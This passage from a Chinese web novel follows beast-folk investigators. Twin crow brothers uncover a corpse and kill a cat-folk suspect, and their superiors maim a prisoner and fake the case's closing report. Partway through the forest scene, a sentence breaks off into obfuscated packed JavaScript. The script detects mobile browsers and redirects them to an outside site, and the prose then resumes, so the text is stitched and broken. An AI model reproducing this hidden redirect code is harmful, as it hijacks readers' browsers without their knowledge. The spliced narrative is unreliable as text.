“有病。”柳漠澜轻嗤一声,语气里满是不耐,索性不再看方妙一眼,优雅地扭过头去,继续闭目养神,那姿态,仿佛多瞧她一眼都是浪费时间。 “你才有病!”方妙本就不是个好脾气的主儿,平日里哪受过这等气,被一个外人这么怼,瞬间火冒三丈,一股无名业火蹭蹭地往上蹿。她撸起袖子就准备上前去好好教训教训柳漠澜这个“目中无人”的家伙。 “喂喂!你俩干啥呢!”说时迟那时快,江知烨像是背后长了眼睛,察觉到屋内气氛不对,猛地撞开门冲了进来。 他心里清楚,这两人要是真动起手来,这江府怕是要被掀个底朝天。 几个箭步冲过去,就想阻拦方妙。可正处在气头上的方妙哪会让他如愿,怒从心头起,恶向胆边生,猛地攥紧拳头,抬起手臂,不偏不倚就撞上了身后江知烨的面门。 只听“砰”的一声闷响,江知烨疼得“嘶”了一声,赶忙捂住鼻子,倒吸着凉气,眼泪都差点飙出来。 “嘶......我说.....”江知烨眼泪汪汪,还想再劝劝这两位祖宗消消气。 “滚!”方妙和柳漠澜几乎同时吼出声,那默契,仿佛事先商量好了一般。 这突如其来的一致,直接把江知烨给整懵了,他呆愣愣地站在原地,像根木桩子,脸上写满了不可置信。 估计连方妙和柳漠澜自己都没想到会有这般默契,两人下意识地对视一眼。短暂的愣神后,方妙“噗嗤”一声笑了出来,笑得前仰后合,直不起腰,一边笑还一边拍着大腿。柳漠澜也不禁被这滑稽的一幕逗乐,平日里冷峻的脸上,嘴角微微勾起,露出一抹淡淡的、转瞬即逝的笑容。 于是,屋内便有了这样一副奇特的画面:捂着流血鼻子,满脸怀疑人生的江知烨,独自呆立在原地;而方才还剑拔弩张的方妙和柳漠澜,却像是被施了魔法一般,一个笑得肆意张扬,一个笑意藏在眼角眉梢 ........ “所以,你的计划更改了?”柳漠澜慵懒地靠在软榻上,一双狭长的眼眸半睁半合,语气不紧不慢,带着几分漫不经心的悠然。 “是的。毕竟追捕之路漫长且充满变数,实在是遥遥无期,思来想去,还是得挑选一个更为合适的人选。”江知烨微微有些尴尬,不自觉地用手指抠着衣角,脸上堆起一抹略显僵硬的笑,“之前的事,实在对不住了哈。” “你本来就不该选我。”柳漠澜轻抬眼皮,眼中闪过一丝淡淡的嘲讽,像是在看一个犯了错的孩童。 “我也没办法呀,上司非要我找个替罪羊,我脑袋一热,第一个就想到你了。”江知烨无奈地摊开双手,脸上满是苦恼。 “可是……”柳漠澜微微一顿,狭长的眼眸微微眯起,目光如炬,直直地盯着江知烨,“他的意思分明是让你找个没势力、自身难保的,比如那种在犄角旮旯里讨生活的乞丐,不是吗?” 这一番话如同一记重锤,江知烨瞬间反应过来,嘴巴张张合合,像是一条缺氧的鱼,却愣是半天说不出一个字来。 见此情景,柳漠澜将目光转向方妙,眼神里满是同情,那目光仿佛在无声地质疑:让江知烨这样的人当大人,真的是正确的选择吗? “大人,那现在该怎么办?”方妙迎上柳漠澜的目光,犹豫了好一会儿,才轻声开口问道,“明早就动身吗?” “嗯,刚才我已经让白鸽给安德鲁送信了,明早便带着那兔子精过去。反正他吸食毒品,本就该被关起来。”江知烨微微颔首,神色平静。 “那案子还要继续办吗?反正都已经找人代替了。顾时夜和顾夜白这几天几乎没怎么休息,也不知道现在又跑到哪去了。”方妙皱着眉头,脸上满是担忧。 “怎么,这么关心他们俩?”江知烨嘴角微微上扬,露出一抹似有若无的笑意,:“案子肯定要继续啊,这还用想?” “我毕竟算是姐姐嘛!虽说不是一个族群,但他俩才刚成年,我自然得多操心些。”方妙理直气壮地说道。 “那你去?你们熊族的鼻子不是向来很灵吗,追踪起来不是难事。”江知烨似笑非笑地提议道。 “算了,还是多锻炼锻炼他俩吧。”方妙摇了摇头,神情认真。 “你们平时都是这样相处的?”柳漠澜微微挑眉,眼中闪过一丝惊讶。在他的认知里,上司与下属之间该是等级分明,却没想到他们能如此融洽。 “他自己都没个正形,还能管得了我们?”方妙一脸嫌弃地盯着江知烨,那眼神简直在控诉江知烨的种种不靠谱。 “再说,就不请你吃烧鸡了。”江知烨皮笑肉不笑地威胁道。 “切,小气鬼!能吃你多少!”方妙不屑地撇了撇嘴。 “对啊,一个小姑娘又能吃多少。”柳漠澜本没打算帮方妙说话,只是突然觉得眼前这两人的互动有趣极了,便起了逗弄的心思。 “有本事你请。”江知烨白了方妙一眼,舌尖顶着腮帮子,满脸无语,“她吃起东西来,堪比饕餮。” “没钱。”柳漠澜干脆利落地一扭头,闭上眼,还小心地捂住受伤的手臂,一副要闭目养神、两耳不闻窗外事的架势。 江知烨又气又好笑,转头看向方妙,结果方妙有样学样,同样扭头闭眼,直接不理他了。 江知烨急得直喊:“喂喂,你俩干啥呢,啥意思啊!” ,可那两人,就跟商量好了似的,纹丝不动,留下他在原地干着急 。 6. 别动我哥 夜晚,都察院深处的书房内,烛火摇曳。 安德鲁端坐在雕花檀木桌案前,修长的手指轻轻摩挲着泛黄的书卷,神情专注。 忽有一阵细微的振翅声由远及近,白鸽化作人形,悄无声息地踏入屋内。 “大人,江大人派人传来信件。”白鸽恭敬地递出一封用火漆封印的信封,声音低沉而沙哑,每一个字都像是从喉咙深处挤出来的。 安德鲁抬起头,深邃的眼眸闪过一丝微光。他接过信封,指尖熟练地挑开封印,展开信纸的动作优雅而从容。“他还有别的话交代吗?” “回大人,他说方妙在执行任务时不小心砸了一家店铺,想请您出面处理。”白鸽垂眸答道,声音里带着几分小心翼翼。 听到这话,安德鲁的动作陡然一顿,手中的信纸微微发颤。 随后轻轻叹了口气,脸上露出无奈又宠溺的神情:“知道了,按店铺损失照价赔偿,别让她受委屈。”话语间,既有上位者的果决,又透着一丝对下属的纵容。 “是,大人。”白鸽轻声应道,“那您可有回信要带给江大人?”他的目光不自觉地落在安德鲁身上,眼神中满是敬重与依赖。 童年那场无情的大火,不仅烧毁了他的家园,也夺走了他正常说话的能力。而安德鲁那时候救起他,不仅给予他重生的机会,更成为了他生命中唯一的信仰。 “你告诉他,明日卯时三刻,我亲自去城郊接应。”安德鲁将信纸凑近烛芯,火舌贪婪地舔舐着墨迹,将江知烨的字迹化作灰烬。 直到灼热逼近指尖时,他才如梦初醒般收回手,望着跳跃的火苗喃喃道:“这丫头,总不让人省心。” “是!”白鸽抱拳行礼,下一秒,他化作白鸽,扑棱棱振翅飞向窗外,消失在夜色之中。 而书房内,安德鲁望着窗外渐暗的天色,眉头微皱,不知在思索着什么。 此刻南清城不知多少十里的田野外,月色将天地浸染得愈发深沉,顾时夜与顾夜白兄弟二人正围坐在噼啪作响的篝火旁。 月亮躲在厚重的云层后,时隐时现,微弱的月光根本无法穿透浓稠的夜色,给这艰难的搜寻工作又增添了几分阻碍。 “哥,你说,我们要是找不到凶手,江大人会不会怪我们?”顾夜白一边往篝火里添着柴火,火星子“噼里啪啦”地溅起,映得他眼底满是担忧。 干燥的木柴在火焰中发出清脆的爆裂声,应和着他忐忑不安的心情。 顾时夜嘴里嚼着早已冷硬的干粮,含糊不清地说道:“大人已经准备好了替代凶手的人,应该不会怪罪我们。都这么长时间了,谁知道那人能逃到多远的地方去。”他伸手轻轻拍了拍弟弟的肩膀,“别瞎担心了。” “唉,这荒郊野岭的,连个人影都见不着,可怎么找啊?”顾夜白泄了气,整个人歪向哥哥,脑袋轻轻靠在顾时夜的肩头,声音里满是无奈与迷茫。 夜色中的山林静谧得可怕,偶尔传来一两声不知名野兽的低嚎,远处的山风呼啸而过,卷起地上的枯叶,在夜色中打着旋儿。 “别怕,有哥在,哥保护你。”顾时夜揽住弟弟的肩膀,语气坚定而温暖,仿佛这小小的篝火就能驱散周遭所有的黑暗与恐惧。 “嘻嘻,哥你最好啦!”顾夜白瞬间来了精神,像个欢快的小鹿般扑向顾时夜。 两人一同倒在柔软的草地上,火光照在他们脸上,映出温暖的光晕。顾夜白像个小孩子似的,把脸埋在顾时夜脖颈里,不停地蹭来蹭去,撒娇似的撒着欢。 “行了行了,快起来。”顾时夜被蹭得痒得直缩脖子,笑着推搡着弟弟。 两人的笑声清脆而响亮,在空旷的田野上回荡。 火光跃动间,顾时夜望着弟弟天真烂漫的笑容,思绪不由自主地飘远,仿佛又回到了多年前,那个与江大人初次相遇的日子…… 那时的他们,还只是街头无依无靠的流浪儿,命运的齿轮却在那一天悄然转动,彻底改变了他们的人生轨迹 ....... "嘿!两个小贼!又来偷果子!"江府后院的惊喝撕破午后寂静。老管家举着枣木长棍,望着枝头两个灵巧身影跳脚大骂,稀疏的胡须随着喘气一翘一翘。 枝头晃动的枝叶间,两道黑影灵巧如燕——正是顾时夜与顾夜白兄弟。 这对一卵双生的少年,即便裹着补丁摞补丁的粗布短打,也难掩眉目间的清俊。 顾时夜蹲在树干上,弹弓在指间灵活翻转。 弟弟顾夜白则蹲坐在更高的枝桠上,月牙似的眼睛弯成两汪笑意,怀里塞满红彤彤的脆枣:"来抓我们呀!"少年故意晃着沾着草屑的麻鞋,带落几片枯叶,正巧飘在老管家锃亮的脑门上。 正当闹剧升级时,阴影突然笼罩树干。江知烨不知何时出现在顾时夜身后,他骨节分明的手掌精准扣住少年后颈,指腹擦过纤细的脖颈:"偷得开心?" "哥!"顾夜白发觉不对瞬间化作一团黑影俯冲而下,尖锐的鸦喙直取江知烨面门。 然而这疾风骤雨般的攻击,在男人眼中不过是幼崽的张牙舞爪。他甚至懒得躲避,任由鸟喙啄在肩头,直到小乌鸦累得气喘吁吁,才懒洋洋伸出左手,像抓绒线团似的将人拢在掌心。 "三秒内认错,饶你们做顿鸦肉羹。"江知烨突然扯开嘴角,露出森白獠牙。冷冽的目光扫过少年苍白的脸,拇指轻轻摩挲着小乌鸦颤抖的羽翼,像是在估量猎物的肥瘦。 "错了错了!大人饶命!"顾时夜立刻丢开弹弓,双手合十不停作揖。他仰头时,喉结在单薄的皮肤下滚动,却仍强撑着直视那双深不见底的眼睛。 掌心里的小乌鸦发出委屈的呜咽,原本炸开的羽毛渐渐塌缩,耷拉着脑袋蹭了蹭江知烨的虎口。 "倒是个倔强的小家伙。"江知烨低笑出声,松开手时故意抖了抖,看着少年踉跄着摔坐在地。 重获自由的兄弟俩同时跪地,额头几乎贴到青石板上。顾时夜攥着弟弟的手腕,这个动作让江知烨目光微闪。 江知烨蹲下身,指尖挑起顾夜白的下巴,仔细端详那颗朱砂痣。当他的目光扫过两人交握的手,即便浑身紧绷,也没松开过弟弟的手。 "父母呢?"他的声音突然柔和下来。兄弟俩瞬间僵住,顾夜白的睫毛剧烈颤动,一滴眼泪砸在江知烨手背。 这无声的回答让江知烨轻叹一声,指尖拂过少年肩头磨损的布料:"作为惩罚,以后就跟着我做事吧。"思考一下又补充道,:"你们叫什么?"他摩挲着下巴打量这对双生子——同样精致的眉眼,同样乌黑发亮的羽翼,只是弟弟下巴那颗朱砂痣,像颗坠落的星子。 "我是哥哥顾时夜!"少年急切开口,又像是想起什么,小心翼翼牵住顾夜白的小指:"只要能在一起,我们什么都愿意做!" 顾夜白立刻接话:"我是顾夜白!大人若收留我们,赴汤蹈火在所不辞!您这英雄气概,日后定能称霸九重天!" 江知烨被这突如其来的马屁逗笑,眼底泛起难得的暖意 。抬手揉乱两团柔软的黑发:"是个嘴溜的,小嘴比蜜还甜" 。他望着两张沾满尘土却明亮的脸庞,想到兄弟两彼此相依的模样,突然拍板:"理尚府缺几个机灵的信差,愿不愿意去?" "愿意!"两声雀跃几乎同时响起。顾夜白蹦起来搂住兄长脖颈,:"只要能和哥哥在一起,就算天天睡柴房都乐意!" "行,明日卯时去那报到——要是敢偷懒,"江知烨故意露出獠牙,"我可记得哪颗杏树最好爬。" “保证做好的大人您放心!”少年们清脆的笑声回荡在院子里,眼里似有星辰在闪耀。 望着这对形影不离的兄弟,江知烨忽然觉得,这两个偷果子的小贼,或许能成为他棋盘上最锋利的两枚棋子。 既然这样..... “以后哥哥代号叫渡鸦,弟弟就叫夜鸦吧” 渡即是夜,夜即是渡。 渡夜双生,如影随形。 ...... 篝火舔舐着夜空,火星如同迷途的萤火虫,在顾时夜眼前翩跹起舞。他的思绪还在回忆的漩涡中打转,突然,一阵温热的呼吸掠过耳畔。 抬眼,顾夜白歪着头,那张近在咫尺的脸庞被火光镀上一层柔和的光晕,顾时夜甚至能看清他睫毛微微的弧度。 “哥怎么了吗?”顾夜白歪着头,像只好奇的幼兽,澄澈的眼眸里盛满担忧。他毫无预兆地伸手,指尖轻轻划过顾时夜紧绷的下颌,“你在想什么?想得这么入神。” 顾时夜浑身一僵,慌忙别开脸,耳尖泛起可疑的红晕。“没...没事。”他盯着跳动的火苗,试图让躁动的心平静下来。 顾夜白却不依不饶,双手突然捧住顾时夜的脸,强迫他与自己对视。“哥,你说,假如我们获得真元了,是不是就可以在一起很久很久了?”少年的声音带着一丝不易察觉的颤抖,眼神却专注得近乎虔诚。 “啊,是的。怎么突然想起问这个?”顾时夜被这突如其来的问题弄得有些恍惚,心跳得更快了。 “没事。”顾夜白甜甜一笑,梨涡浅浅,“我只是想一直一直和哥哥在一起!”他的声音像裹着蜜,带着少年特有的执拗。 顾时夜被他认真的模样逗笑,心中的慌乱也消散了几分。“好,一直在一起,出生入死永不分开。”他承诺道,声音坚定而温柔。 闻言顾夜白嘴角扬起灿烂的笑容,眼中闪过依赖。他的目光不自觉地落在顾时夜的笑容上,一时愣了神,身体不自觉缓缓前倾。就在两人的鼻尖快要相触时,顾夜白突然像被烫到似的跳起来。 “我先去方便一下。”他丢下一句话,转身朝树林里跑去,留下顾时夜一脸错愕地坐在原地。 见状顾时夜无奈地摇摇头,盘腿坐起,仰头望向星空。璀璨的星河,繁星点点,夜风轻拂,带来一丝凉意 。 突然,一声凄厉的惨叫打破了夜的宁静。 “小白!”顾时夜的心猛地一揪,立刻起身朝声音传来的方向跑去。只见顾夜白拎着裤子,连滚带爬地从树林里冲出来,脸色惨白如纸。 “怎么了?”顾时夜一把扶住险些摔倒的顾夜白,目光警惕。 顾夜白颤抖着手指向树林深处,牙齿不停地打颤:“有...有....尸体!” 顾时夜眉头紧锁,从篝火中抽出一根燃烧的木棍当作火把,拉着顾夜白小心翼翼地走进树林。 月光透过稀疏的枝叶,忽明忽暗,树林里弥漫着一股潮湿而腐朽的气息。 在顾夜白的指引下,顾时夜在铺满枯叶的地方,看到了一张怒目圆睁的半腐烂人脸。那张脸的皮肤已经开始脱落,露出下面泛着青色的肌肉,空洞的眼窝仿佛在诉说着生前的不甘与恐惧。 顾时夜呼吸一滞,强忍着胃部的不适,用脚轻轻扒拉几下落叶。 一具尸体赫然出现在两人眼前,那是一个雄性蝙蝠兽人,腹部中刀,伤口周围的皮肤已经发黑溃烂。 从尸体的腐烂程度来看,应该已经死去很久了,显然是被人埋在这里,用枯叶掩盖。 “哥,这是啥啊,大半夜忒吓人了!”顾夜白躲在顾时夜身后,声音发颤,却还强装镇定。 “嘘。”顾时夜握紧顾夜白的手腕,将人护在身后,“有人。”他能感觉到,黑暗中有一双眼睛,正死死盯着他们,寒意顺着脊椎爬上后颈。 “咕噜——”一声突兀的猫头鹰叫声响起,惊得顾夜白差点跳起来。 月光下,那只猫头鹰歪着头,金色的瞳孔闪烁着诡异的光芒,仿佛在嘲笑他们的恐惧。但顾时夜知道,这不是让他脊背发凉的源头。 “别怕,哥在。”顾时夜抽出银剑,剑身在月光下泛着冷冽的光。 “嚓嚓嚓——”树枝摩擦的声音从头顶传来,像是利爪在树皮上抓挠。 顾时夜猛地抬头,却只看到晃动的枝叶。他握紧顾夜白的手,将弟弟护在身后。 “出来!”顾时夜大喝一声。 四周寂静得可怕,只有两人急促的呼吸声。突然,顾夜白抓住顾时夜的手腕,声音颤抖:“哥...剑上...” 顾时夜疑惑地低下头,看向银剑,瞬间瞳孔骤缩,呼吸停滞。银剑的反光中,映照着头顶一只幽绿的眼睛,正死死地盯着他们。 顾时夜猛地抬头,只见一个黑影蹲在他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694738|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头顶的树干上,没有发出丝毫声音,就这么静静地注视着他们,给人一种无形的压迫感。 顾时夜立刻展开翅膀,如同一道黑色的闪电,朝黑影攻去。然而,黑影反应极快,瞬间跳到另一根树干上,回头看了顾时夜一眼,眼神中带着一丝挑衅,随后迅速向树林深处移动。 “别跑!”顾时夜紧追不舍,风在耳边呼啸,他穿梭在茂密的树林中。树枝不断刮擦着他的身体,留下一道道血痕,但他丝毫不在意。月光下,黑影一闪而过,灵活得像林间的幽灵,每一次跳跃都精准避开他的攻击。 “喵——” 顾时夜站在树干上,警惕地环顾四周。幽幽的猫叫在树林中响起,那声音阴森而诡异,仿佛来自另一个世界,刺激着他的神经。 顾时夜眼神一凛,确定这就是他们要找的人。 “真是不费吹灰之力啊,还以为要找半个月呢。”顾时夜咬紧牙关,伤口传来的疼痛反而让他更加清醒。 “你在找我吗?”一道沙哑的声音突然在耳边响起。 顾时夜猛地转身,只见一个半边脸被烧毁的猫族兽人倒挂在树枝上,空洞的眼眶里流出黑色的脓血,另一半脸上的笑容扭曲而狰狞。 顾时夜毫不犹豫地挥剑砍去,然而,那兽人速度极快,银剑只是狠狠地砍进粗壮的树干,砍出一道深深的疤痕。 “该死!”顾时夜用力拔出银剑,继续朝兽人袭击。 但在兽人的绝对灵活和灵敏下,顾时夜渐渐有点落入下风,利爪顺势擦着他的脸颊划过,留下一道火辣辣的血痕。 “哥!”顾夜白的声音从远处传来。顾时夜心中一慌,分神的瞬间,手臂又被划出一道深深的伤口。鲜血滴落在地上,在月光下泛着诡异的光。 “小白,别过来!”顾时夜大喊,却见顾夜白红着眼睛冲了过来。少年夺过他手中的银剑,眼神冰冷得可怕。 “他完蛋了。” 不等顾时夜阻拦,顾夜白已经展翅追了上去。林间的夜风呼啸,带着肃杀之气。黑影察觉到身后的威胁,转身露出森然的獠牙,却在看到顾夜白眼中燃烧的怒火时,微微一愣。 顾夜白的攻势凌厉得可怕,银剑在空中划出一道道寒光。黑影左躲右闪,却发现自己渐渐被逼入绝境。顾时夜担心弟弟会出事,捂着伤口紧随其后,他从未见过如此疯狂的弟弟,眼中的杀意几乎要将黑夜点燃。 三人在树林间灵活地穿梭,树枝和藤蔓纷纷断裂。那猫族兽人残缺的脸上露出残忍的笑容,时不时回头挑衅地看一眼紧追不舍的顾时夜和顾夜白。 顾夜白的速度极快,翅膀扇动间带起一阵狂风。他眼中燃烧着愤怒的火焰,银剑在手中挥舞得虎虎生风,所到之处,树枝纷纷被斩断。顾时夜紧随其后,虽然手臂受伤,但依旧强忍着疼痛,眼神坚定地盯着前方。 突然,兽人猛地转身,从腰间抽出一把弯刀,朝顾夜白砍去。顾夜白反应迅速,侧身躲过,银剑顺势刺出。兽人轻巧地跳开,弯刀与银剑碰撞,溅起无数火花。 顾时夜趁机从侧面攻来,短剑直取兽人的要害。兽人却不慌不忙,身体如同蛇一般扭曲,巧妙地避开了攻击。紧接着,他快速后退,利用树林的地形,在树干间来回跳跃,试图拉开距离。 顾夜白和顾时夜怎会让他得逞,两人默契地配合,一左一右,将兽人逼入一个狭窄的空地。兽人见无路可逃,眼中闪过一丝狠厉,双手紧握弯刀,发出一声怒吼,朝两人冲了过来。 顾夜白和顾时夜同时挥剑,剑光闪烁间,与兽人的弯刀碰撞在一起。巨大的冲击力让三人都后退了几步,顾夜白和顾时夜却没有丝毫犹豫,再次冲上前去。 在激烈的打斗中,顾夜白瞅准时机,一剑刺中兽人的肩膀。兽人吃痛,发出一声惨叫,手中的弯刀也差点掉落。顾时夜趁机跟上,银剑狠狠地刺向兽人的腹部。兽人拼命反抗,用弯刀挡住了致命一击,但身体也被巨大的力量撞飞出去,险些摔倒在地。 忽然,月光被乌云遮蔽的瞬间,顾夜白消失在原地。猫族兽人警惕地停下脚步,却在转头的刹那,被一道黑影扑倒在地。 银剑抵住他咽喉的同时,顾夜白冰冷的声音在耳边响起:"伤我哥哥...你得付出代价。" 猫族兽人惊恐地瞪大双眼,还来不及挣扎,银剑已经刺穿他的喉咙。浓稠的黑血溅在枯叶上,顾时夜过来时,只看到弟弟收起剑的背影。 "小白..."顾时夜的声音有些发颤。顾夜白转过身,脸上还带着未消退的杀意,却在看到他伤口的瞬间,又变回了那个依赖他的弟弟:"哥,疼不疼?我给你吹吹..." 顾时夜连忙摇摇头,伸手擦去顾夜白脸上的血污:“有你在,我能有什么事? “那就好。”顾夜白将手中银剑一丢,像是餍足地大型犬一样一把抱住顾时夜,语气委屈,:“他真的好过分。” 闻言顾时夜也没了别的心虑,回抱住顾夜白,双手不停给人顺背,带着担忧与宠溺说道,:“下次别冲动了,吓死我了。” “可是......”顾夜白抬起湿漉漉地眼睛,撅着嘴不满道,:“哥哥明明也很冲动啊,要是我刚才不冲动,万一哥哥出事怎么办?” “小白,听着。”顾时夜轻轻与顾夜白拉开距离,神色认真,:“我虽然做事冲动,但是如果是关乎你,我所有冲动让我以最理智的状态去保护你,但我不想你因为冲动而陷入危险,知道吗?” “可是,哥哥,我也会用我的一切去保护你啊。”他的声音坚定而决绝,没有丝毫犹豫,仿佛这是他早已笃定的信念,是刻在骨子里的本能。 顾时夜凝视着弟弟眼底翻涌的执着,喉结微微滚动:“可我宁愿自己坠入万劫不复,也不想你沾染上半点危险。” 顾夜白突然轻笑出声,:“哥,你知道吗?若这世间真有万劫不复,那我们的劫数,从血脉相连的第一刻起,就注定要同坠深渊——生同衾,死同椁,谁也别想做那独善其身的逃兵。” 因为我们是彼此的影子,只要光不散,我们永不离。 当爱冲破理智的枷锁,那刻的抉择,便是以命相护的永恒誓言...... 7. 结案了? "哥,可是他死了,怎么交差啊...."顾夜白像只泄了气的皮球瘫坐在地,盯着满地狼藉的战场,脸上写满了生无可恋连影子都透着一股颓废劲儿,"刚才杀红眼了,现在倒好,人家要活的,我给整成凉的了。" 顾时夜的皮靴碾过枯枝,发出令人牙酸的“咔嚓”声。他拧着眉在原地转了三圈,突然像被定住般僵在月光里,眼瞳猛地亮起:“实在不行和大人说他自刎了吧!反正死无对证!” “大人会信吗……”顾夜白扯出个比哭还难看的笑,脑内已经循环播放江知烨暴跳如雷的模样——那老鲨鱼指不定会扒开尸体伤口,用银针验出剑痕角度不对。他伸手捂住脸,指缝间漏出断断续续的哀嚎。 "怕什么!"顾时夜双手叉腰,脸上挂着狡黠的笑,"大人有时候就跟老糊涂似的,上次任务报告写成‘群鸦衔走犯人’,大人不也签字了?你把故事编得跌宕起伏点,再加点悲情戏码,保准他听得眼泪汪汪!"说着,他已经开始摆弄两具尸体,蝙蝠兽人的翅膀像破伞般摊开,在夜风里簌簌发抖 ,:"现在最要紧的是,怎么把这俩''大佛''弄回南清城。几十里路呢,总不能让我一个人当苦力吧?" 顾夜白的喉结剧烈滚动,盯着腐烂的脸差点作呕:“啊哈哈哈哈……是嘛……哈哈哈哈”笑声比哭还难听,他戳了戳尸体僵硬的胳膊,仿佛在戳一块长满绿毛的石头。 “杵着当雕塑呢?”顾时夜单肩扛起猫族兽人,后颈青筋暴起,“你想我一个人拖两具尸体?到时候你就等着被江大人用戒尺敲脑袋吧!” 顾夜白欲哭无泪地望着尸体,感觉自己的人生已经提前步入黑暗。 "我这算是职场生涯未开始先终结吗?"他小声嘟囔着,“要是子规姐在就好了……”顾夜白苦着脸挪过去,像踩地雷似的避开尸体渗液的伤口,“她上次扛着三个通缉犯,还能边跑边啃烧鸡……”他揪起尸体的衣领,刚想发力,尸体突然歪头咧嘴,吓得他蹦出去三尺远,“这怎么扛嘛!” "少废话!谁让你平时练轻功的时候总偷溜去买糖糕?"顾时夜白了他一眼,扛着尸体就走,动作潇洒得像是在扛麻袋,"赶紧的,别磨磨蹭蹭!难不成要我给你表演个''一拖二''?" "这...这"顾夜白不情不愿地凑过去,先是用脚尖小心翼翼地戳了戳尸体,又像被烫到似的迅速缩回脚。最后闭着眼睛深吸一口气,牙一咬心一横,把尸体往背上一甩,整个人瞬间被压得直不起腰,"救命!这东西比我想象的重十倍!" 看着弟弟滑稽的模样,顾时夜忍不住大笑起来,笑声在空旷的田野上回荡:"谁最后到城门谁是小狗!"说罢展开翅膀,如同一道黑色的闪电朝着南清城飞去。 "哥!等等我!你耍赖!"顾夜白手忙脚乱地追上去,背上的尸体随着他的动作晃来晃去。 月光下,两个身影一追一逃,背上还载着两具"沉默的乘客",这场面说不出的荒诞又好笑。 ...... 第二天一大早,偏远的大牢里。 晨光像掺了铁锈的水,缓慢浸透这间弥漫着腐臭的地牢。 江知烨用靴尖挑起木筐边缘的麻布,几株蔫头耷脑的花君子在晨风里簌簌发抖,猩红花瓣上凝结的露水折射出妖异的光。 他突然踹向角落里蜷缩的兔族兽人,锁链哗啦作响,震落墙皮簌簌如雨。 “喂,你姐到底干什么的?”江知烨蹲下身,指尖捏着兽人青紫的下巴左右摇晃,“一个卖米酒年糕的小姑娘,转眼就能囤这么多毒物?你们家是披着兔皮的毒蛇窝吧?” 兽人突然“呸”地啐出血沫,鼻骨断裂的脸肿得像发酵过度的面团:“有本事打死我啊!”话音未落,角落里传来盘子掉地碎裂的清脆声响——方妙正嘴里塞着糕点,腮帮子鼓得像偷藏坚果的松鼠,正无辜地看着不小心打碎的糕点盘子。 “继续你们。”方妙平静地从口袋里拿出一包蜜饯开始吃起来。 兔族兽人突然暴起,被揍得变形的嘴唇扯出狞笑:"有本事杀了我!"沾着血沫的唾沫精准落在江知烨锃亮的靴面上。 "如你所愿。"安德鲁走过来手里还把玩着银质小刀,只见这位办事狠厉的公子哥,慢条斯理地弯下腰,指尖拂过兽人因恐惧而剧烈起伏的胸膛,"听说兔耳的神经末梢,比琴弦还敏感呢。" 江知烨的阻拦声被撕裂空气的脆响截断。 殷红血珠如绽放的花君子花,在晨光中划出妖异弧线,溅在他玄色竹纹衣摆上。兔族兽人喉间发出濒死的呜咽,歪倒在地时,安德鲁却只是动作优雅得用手帕擦掉手上的鲜血。 方妙倚着墙面,咬下最后一口蜜饯。好似眼前这场血腥闹剧,不过是茶楼里的皮影戏。 "你下手真狠。"江知烨盯着地上抽搐的躯体,靴底碾过滚落的兔耳,软肉与青石板摩擦的声响令人头皮发麻,"叫医馆的人来,别让他死在这脏了地。" 安德鲁将沾血的手帕抛进火盆,蓝焰瞬间吞没猩红:"一只耳,倒比完整的更有辨识度。" 他随手整理了一下自己的毛发,语气随意,"等大夫走后,把人关进地牢。至于这些......"他脚尖勾起一筐花君子,蒴果如黑色雨滴倾泻而下,"找个地方烧了。结案陈词就写,此人吸毒弑姐,畏罪自尽。" "这就完了?"江知烨的声音带着金属扭曲的质感,"当初翻遍全城缉凶,现在倒好,随便编个理由就了事?" 安德鲁转身时,眼里折射出冷光:"你不是说凶手逃之夭夭?与其在阴沟里捞月亮,不如给上头个交代。反正....从犯添几笔,就成主犯了,都一样。"他忽然贴近江知烨耳畔,吐息间带着雪松香混着铁锈味,"还是说,江统领突然菩萨心肠,要为这蝼蚁讨个公道?" "少放屁。"江知烨踹开脚边苟延残喘的兽人,听着那具躯体撞上木柱发出的闷响,:“我只是觉得苦了自己,记得多给我点经费,快养不起你家姑娘了。” “行行行答应你。”说罢,安德鲁揽着方妙的肩膀离开,只有回荡的脚步声越来越远。 江知烨望着对方远去的背影,靴底碾碎一片花瓣,随即他烦躁地踹了脚昏迷的兽人,听着铁链哗啦作响,突然想起半月前在茶楼听的戏文——原来这世上最毒的,是那蜿蜿蜒蜒地人心..... 走在院子里,骄阳似火的夏日,炽热的气息在空气中肆意蔓延,这对于身披浓密毛发的兽人而言,无疑是一场难耐的煎熬。 所幸,庭院中栽种的累累果树成了天然的庇穹顶。 方妙轻车熟路地攀爬上苹果树,指尖灵巧地摘下一枚饱满的果实,只是随意擦拭几下,便迫不及待地咬上一口。 树下,安德鲁仰头凝视着他的姑娘,眉眼间尽是温柔与宠溺,全然不见方才杀伐决断时的冷峻与凌厉。"当心些,莫要摔着了。"他的声音低沉而柔和,饱含着无尽的关切。 “知道啦!” 方妙惬意地坐在粗壮的树干上,一双纤细白皙的玉腿轻轻晃动,淡绿色的罗裙与藕荷色的襦衣在微风中翩然起舞。 安德鲁望着眼前这幅美好的画面,不觉失了神,思绪不由自主地飘回到与方妙初遇的那一天。 彼时,北方之地,环境恶劣,种族纷争不断,战乱频仍。 安德鲁本在那里谋得一席之地,然而一场百年难遇的大旱,彻底打破了平静的生活。 为了生存,他只得与众多流民一同踏上南下的迁徙之路。 这一路,艰辛异常,匮乏的食物与水源,如同无形的死神,无情地收割着一个个脆弱的生命。安德鲁凭借多年摸爬滚打积攒下的生存经验,在死亡的边缘苦苦挣扎,勉强支撑着。 而方妙,却没有这般幸运。 长期的食不果腹,加之身形娇小纤弱,使得她在逃亡队伍中受尽欺凌。尽管她天生神力,却因体力不支,行动迟缓,总是远远地落在队伍后面。 那时的安德鲁,早已过了年少轻狂、情窦初开的年纪,然而,命运的邂逅总是来得猝不及防。 那是一个黄沙漫天的日子,荒原上哀嚎声此起彼伏,绝望的气息弥漫在每一寸空气之中。 两人的相遇,没有文人笔下的繁花似锦,亦不见戏曲里的杨柳依依,在这荒芜寂寥、希望渺茫的荒漠之地,方妙翠色如碧的眼眸,恰似初春枝头萌发的嫩芽,充满了生机与希望。 